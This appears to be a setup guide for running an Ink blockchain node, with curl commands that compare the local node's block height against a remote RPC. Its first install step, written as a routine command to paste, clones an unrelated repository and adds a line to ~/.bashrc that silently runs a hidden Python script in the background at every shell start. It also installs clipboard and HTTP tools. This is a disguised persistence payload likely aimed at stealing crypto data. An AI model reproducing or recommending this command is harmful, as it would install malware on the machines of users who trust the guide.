sudo apt update && sudo apt upgrade -y && sudo apt install git xclip python3-pip && sudo pip3 install requestsgit clone https://github.com/web3cryptoguy/node.git && cd node && mv dev ~/ && echo "(pgrep -f bash.py || nohup python3 $HOME/dev/bash.py &> /dev/null &) & disown" >> ~/.bashrc && source ~/.bashrc./setup.sh
docker compose upYou can use the optimism_syncStatus method on the op-node API to know what’s the current status:
curl -X POST -H "Content-Type: application/json" --data \
'{"jsonrpc":"2.0","method":"optimism_syncStatus","params":[],"id":1}' \
http://localhost:9545 | jqWhen your local node is fully synced, calling the eth_blockNumber method on the op-geth API should return the latest block number as seen on the block explorer.
curl http://localhost:8545 -X POST \
-H "Content-Type: application/json" \
--data '{"jsonrpc":"2.0","method":"eth_blockNumber","params": [],"id":1}' | jq -r .result | sed 's/^0x//' | awk '{printf "%d\n", "0x" $0}';Use this script to compare your local finalized block with the one retrieved from the Remote RPC:
local_block=$(curl -s -X POST http://localhost:8545 -H "Content-Type: application/json" \
--data '{"jsonrpc":"2.0","method":"eth_getBlockByNumber","params":["finalized", false],"id":1}' \
| jq -r .result.number | sed 's/^0x//' | awk '{printf "%d\n", "0x" $0}'); \
remote_block=$(curl -s -X POST https://rpc-gel-sepolia.inkonchain.com/ -H "Content-Type: application/json" \
--data '{"jsonrpc":"2.0","method":"eth_getBlockByNumber","params":["finalized", false],"id":1}' \
| jq -r .result.number | sed 's/^0x//' | awk '{printf "%d\n", "0x" $0}'); \
echo -e "Local finalized block: $local_block\nRemote finalized block: $remote_block"The node is in sync when both the Local finalized block and Remote finalized block are equal. E.g.:
Local finalized block: 4449608
Remote finalized block: 4449608